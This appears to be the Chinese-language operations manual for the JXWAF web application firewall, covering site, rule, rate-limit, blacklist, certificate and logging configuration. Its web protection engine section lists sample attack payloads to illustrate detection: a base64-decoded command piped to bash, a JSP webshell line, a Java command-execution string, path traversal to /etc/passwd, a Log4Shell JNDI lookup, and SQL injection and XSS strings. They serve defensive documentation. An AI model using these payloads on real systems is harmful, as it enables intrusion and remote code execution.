JXWAFJXWAF
首页
JXWAF
WebTDS
GitHub
首页
JXWAF
WebTDS
GitHub
  • JXWAF文档

    • 产品介绍
    • 部署教程
    • 操作指南
    • 经验分享
    • API调用

操作指南

网站配置

新增分组

配置项说明
分组名称必填,用于标识分组
分组描述选填,描述分组用途
CNAME配置选择不配置需手动解析IP;选择配置则提供CNAME域名接入

新增网站

域名/IP格式示例:
1.1.1.1
1.1.1.1:8000
demo.jxwaf.com
*.jxwaf.com:8000
配置项说明
域名/IP支持通配符和端口号
协议类型HTTP/HTTPS(HTTPS需提前配置SSL证书)
源站地址支持多地址,格式:www.jxwaf.com 或 1.1.1.1
回源协议需与源站端口匹配(80→http,443→https)
负载均衡IP_HASH(会话保持)或 轮询
强制HTTPS跳转需同时开启HTTP和HTTPS协议
WAF前存在代理开启后从X-Real-IP或X-Forwarded-For获取真实IP

Web防护引擎

  • SQL 注入攻击防护

攻击 payload 例子: if(lower(database())>'a',1,0)

  • XSS 攻击防护

攻击 payload 例子: <script>alert("TEST");</script>

  • 命令执行攻击防护

攻击 payload 例子: ;echo "Y2F0IGZsYWc="|base64 -d|bash

  • 代码执行攻击防护

攻击 payload 例子: new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

  • WebShell 上传防护

攻击 payload 例子: <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

  • 敏感文件泄露防护

攻击 payload 例子: http://1.1.1.1/a.bak

  • 路径穿越防护

攻击 payload 例子: '/static/img/../../etc/passwd'

  • 高危 Nday 防护

攻击 payload 例子: ${jndi:ldap://172.16.238.11:1389/a}

  • 防护状态说明

开启状态下,检测到攻击会返回默认拦截页面,可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。观察状态下,仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情

流量防护引擎

IP请求次数检测

  • 经过时间 (秒)

  • IP请求数量超过

  • IP处罚执行动作

  • IP处罚持续时间(秒)

设置 经过时间 (秒) 为 60,IP请求数量超过 100。则同一IP在60秒内,发起的请求数量超过100,即判定检测成功。之后在 IP处罚持续时间(秒) 的设定时间内,任何该IP的请求,都会触发 IP处罚执行动作,直到处罚持续时间结束。

请求IP数量检测

  • 统计时间(秒)

  • 请求IP数量限制

  • 超出限制的IP执行动作

在统计时间内(秒),请求的 IP 数量超过限定值,超出 IP 的请求将被处置。设置 请求 IP 数量限制设置为 1000,统计时间设置为 60,则在 60 秒内,请求的 IP 数量超过 1000,超出的 IP 将触发处置

无差别紧急防护

开启后,所有请求都会无条件触发处置,适合网站已经被攻击且业务不可用的情况下紧急开启。可配置人机识别进行处置,快速拦截异常流量,正常用户通过人机识别验证后可正常防护业务。

执行动作说明

  • 阻断请求

拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。

  • 拒绝响应

服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。

  • 人机识别

标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。

滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。

图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。

  • 网络封禁

需要设置 网络封禁持续时间(秒),在持续时间内,将在网络层封禁攻击IP,具体封禁IP可以通过 运营中心 -> 网络封禁黑名单 查看

  • 观察模式

仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情

规则引擎配置

请求内容例子

POST /waf/waf_get_domain_list?test=a&test2=b HTTP/1.1
Host: demo.jxwaf.com:8000
Content-Length: 10
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://demo.jxwaf.com:8000
Referer: http://demo.jxwaf.com:8000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: sessionid=ie7l7u89zeqf93syv4jvolhr0ljgngn5
Connection: close

{"page":1}

匹配参数

匹配参数选项获取数据说明
http_args:path/waf/waf_get_domain_list
http_args:query_stringtest=a&test2=b
http_args:methodPOST
http_args:src_ip1.1.1.1
http_args:raw_body{"page":1}
http_args:version1.1
http_args:schemeHTTP
http_args:raw_header获取原始 header 内容
header_args:hostdemo.jxwaf.com:8000
header_args:cookiesessionid=ie7l7u89zeqf93syv4jvolhr0ljgngn5
header_args:refererhttp://demo.jxwaf.com:8000/
header_args:user_agentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
header_args:获取指定的 header 值,例如这里输入 header_args:Accept-Encoding,则返回 "gzip, deflate, br"
cookie_args:获取指定的 cookie 值,例如这里输入 cookie_args:sessionid,则返会"ie7l7u89zeqf93syv4jvolhr0ljgngn5"
uri_args:获取指定的查询字符串参数的值,例如输入 uri_args:test ,则返回 “a”
post_args:获取指定的请求体参数的值,假如请求体的内容为 page=1&number=2,则输入 post_args:number,则返回 "2"
json_post_args:获取指定的请求体参数的值,例如输入 json_post_args:page ,则返回 “1”
ctx_args:获取基础组件中用户自定义参数值
global_name_list_result:获取名单防护功能中名单的匹配结果

参数处理

参数处理选项处理说明
不处理不进行处理,获取数据为 "a",则返回"a"
小写处理获取数据为"AbcdEf",则返回“abcdef”
BASE64 解码获取数据为"QWJjZEVm",则返回"AbcdEf",如果解码失败,则返回 nil
长度计算获取数据为"AbcdEf",则返回“6”
URL 解码获取数据为"test%3Da%26test2%3Db",则返回"test=a&test2=b"
UNICODE 解码获取数据为"\u0073\u0073\u0073\u0061\u0061",则返回"sssaa"
十六进制解码获取数据为"\x61\x61\x61\x62\x62\x62",则返回"aaabbb"

匹配方式

匹配方式选项匹配说明
后缀匹配获取数据为"AbcdEf",后缀匹配"cdEf"成功,后缀匹配"aaaa"失败
包括获取数据为"AbcdEf", 包括匹配"cdE"成功,包括匹配"aaaa"失败
不包括获取数据为"AbcdEf", 不包括匹配"aaaa"成功,不包括匹配"dEf"失败
等于获取数据为"AbcdEf", 等于匹配"AbcdEf"成功,等于匹配"dEf"失败
不等于获取数据为"AbcdEf", 不等于匹配"dEf"成功,不等于匹配"AbcdEf"失败
数字大于获取数据为"6", 数字大于匹配“10”成功,数字大于匹配“4”失败。获取数据为"qqq",数字大于匹配“10”失败
数字小于获取数据为"6", 数字小于匹配“4”成功,数字小于匹配“10”失败。获取数据为"qqq",数字小于匹配“10”失败
数字等于获取数据为"6", 数字等于匹配“6”成功,数字等于匹配“10”失败。获取数据为"qqq",数字等于匹配“10”失败
数字不等于获取数据为"6", 数字不等于匹配“5”成功,数字不等于匹配“6”失败。获取数据为"qqq",数字不等于匹配“10”失败
参数存在判断判断参数是否存在,只有两个选项,参数存在 和 参数不存在

执行动作

  • 阻断请求

拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。

  • 拒绝响应

服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。

  • 人机识别

标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。

滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。

图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。

  • 网络封禁

需要设置 网络封禁持续时间(秒),在持续时间内,将在网络层封禁攻击IP,具体封禁IP可以通过 运营中心 -> 网络封禁黑名单 查看

  • 观察模式

仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情

  • Web 安全防护加白

加白所有 Web 安全防护模块,后续检测流程中的 Web 安全防护模块都会直接跳过,不会执行检测和处置。

  • 流量安全防护加白

加白所有流量安全防护模块,后续检测流程中的流量安全防护模块都会直接跳过,不会执行检测和处置。

扫描攻击防护

  • 规则名称

  • 规则详情

  • 防护模块

选择 Web防护引擎 或者 Web防护规则 中的选项,可以新增多个,之间是或的关系,任意一个匹配即可

  • 统计对象

选择要统计的攻击实体,例如 可以选择 IP ,或者 Cookie中的session等标识攻击者的字段

  • 经过时间(秒)

  • 攻击次数超过

  • IP处罚方式

  • IP处罚时间

配置例子如下:

防护模块  Web防护引擎:SQL注入防护  
统计对象  http_args:src_ip
经过时间(秒)  600
攻击次数超过   100
IP处罚方式   阻断请求
IP处罚时间   3600

同一IP地址,在600秒内,发起超过100次SQL注入攻击后,将被阻断请求3600秒

网站防篡改

  • 规则名称

  • 规则详情

  • 规则匹配

  • 页面地址

输入需要防篡改防护的页面地址,例如jxwaf网站首页 https://www.jxwaf.com ,点击 获取页面内容 按钮即可获取页面内容

  • 内容类型

当规则匹配成功后,WAF会直接返回设置的页面内容,而不会通过回源的方式获取,进而达到页面防篡改的效果

流量防护规则

  • 规则名称

  • 规则详情

  • 规则匹配

  • 统计对象

选择要统计的攻击实体,例如 可以选择 IP ,或者 Cookie中的session等标识攻击者的字段

  • 经过时间(秒)

  • 请求次数超过

  • IP处罚方式

  • IP处罚持续时间(秒)

配置例子如下:

规则匹配  关闭 
统计对象  http_args:src_ip + http_args:path
经过时间(秒)  60
攻击次数超过   100
IP处罚方式   阻断请求
IP处罚时间   3600

同一IP地址,针对同一个URI,在60秒内,发起超过100次请求后,将被阻断请求3600秒

如果同一IP地址,访问不同的URI,在60秒内,发起超过100次请求,则不符合规则匹配条件,不会触发IP处罚

IP 区域封禁

开启后,需要配置 IP 白名单区域,将根据 IP 归属的国家或地区进行检测,非白名单区域的 IP 发起请求将进行处置。例如,开启后选择白名单区域为中国大陆,那么 IP: 43.133.32.222 访问的时候,因为 IP 的归属是新加坡,请求将触发执行动作进行处置。

IP黑名单

  • IP地址

  • 描述

  • 过期时间(秒)

可以设置永久生效 或者 输入具体的过期时间,例如 600 ,则 600秒后记录过期自动删除

  • 执行动作

名单防护

  • 名单名称

  • 名单描述

  • 过期时间(秒)

默认永久生效,可自定义过期时间,当超过过期时间,会自动删除过期的条目

  • 匹配参数

详情参考规则配置,支持多个组合。例如 业务场景需要封禁某些 IP 访问特定域名,那么可以设置 header_args:host 加上 http_args:src_ip ,假如域名是 www.test.com ,访问 IP 是 1.1.1.1 那么条目可以写入 “www.test.com1.1.1.1”,即可实现禁止特定IP访问特定域名的效果

  • 执行动作
1、阻断请求

拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。

2、拒绝响应

服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。

3、人机识别

标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。

滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。

图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。

4、网络封禁

需要设置 网络封禁持续时间(秒),在持续时间内,将在网络层封禁攻击IP,具体封禁IP可以通过  运营中心 -> 网络封禁黑名单 查看

5、观察模式

仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情

6、安全防护全加白

加白所有安全防护模块,后续检测流程中的安全防护模块都会直接跳过,不会执行检测和处置

7、Web 安全防护加白

加白所有 Web 安全防护模块,后续检测流程中的 Web 安全防护模块都会直接跳过,不会执行检测和处置。

8、流量安全防护加白

加白所有流量安全防护模块,后续检测流程中的流量安全防护模块都会直接跳过,不会执行检测和处置。

基础组件

  • 组件名称

  • 组件描述

  • CODE

组件代码,需要将lua代码base64编码后输入

  • 默认配置

json格式,将通过 conf_data 传入组件

模版如下

local _M = {}
local cjson = require "cjson.safe"

function _M.check(conf_data)
  if conf_data == nil then
    return
  end
  return
end

return _M

分析组件

  • 组件名称

  • 组件描述

  • CODE

组件代码,需要将lua代码base64编码后输入

  • 默认配置

json格式,将通过 conf_data 传入组件

模版如下,相比基础组件,可以通过 name_list_item_data 传入名单防护中的条目数据

local _M = {}
local cjson = require "cjson.safe"

function _M.check(conf_data,name_list_item_data)
  if conf_data == nil then
    return
  end
  local test_name_list_data = name_list_item_data['test_name_list']
  return
end

return _M

SSL证书管理

申请通配符证书

  • DNS服务提供商

选择域名解析托管的DNS服务提供商,目前支持阿里云,腾讯云,Cloudfare,选择后输入相对应的鉴权凭证

  • 证书申请域名

需要申请的通配符域名,例如 *.jxwaf.com 或者 *.api.jxwaf.com

  • 证书自动更新

申请大概需要1分钟时间,请稍后查看,申请的是Let's Encrypt证书,默认为90天有效期,通过DNS验证的方式进行申请

上传SSL证书

  • SSL证书域名

建议输入证书域名,例如 www.jxwaf.com 或者 *.jxwaf.com

  • 描述

  • 公钥

需要携带完整的证书链数据

  • 私钥

CNAME配置管理

  • CNAME配置名称

  • CNAME配置描述

  • DNS服务提供商

选择域名解析托管的DNS服务提供商,目前支持阿里云,腾讯云,Cloudfare,选择后输入相对应的鉴权凭证

  • 域名

用于提供CNAME配置的主域名,例如 jxwaftest.shop

  • 节点IP

输入防护节点的IP地址

  • TTL

日志传输

  • 本地调试

临时调试时开启,仅对处置请求生效,仅记录部分关键数据

  • 远程日志记录

通过TCP传输日志数据,日志数据为json格式

  • 日志服务器地址

  • 日志服务器端口

  • 全流量日志记录

  • 记录请求返回内容

日志查询

  • 日志查询配置

  • ClickHouse服务器地址

  • ClickHouse服务器端口

端口默认为9004,即ClickHouse的MySQL兼容查询端口

  • 用户名

  • 密码

  • 数据库名称

WebTDS检测配置

  • WebTDS检测

对接WebTDS进行深度分析,当有多个分析节点时,需要通过基础组件/分析组件来进行配置

  • 节点服务器IP

  • 节点服务器端口

最近更新:: 2025/4/22 22:24
Contributors: chenjc, jiongrizi, root
Prev
部署教程
Next
经验分享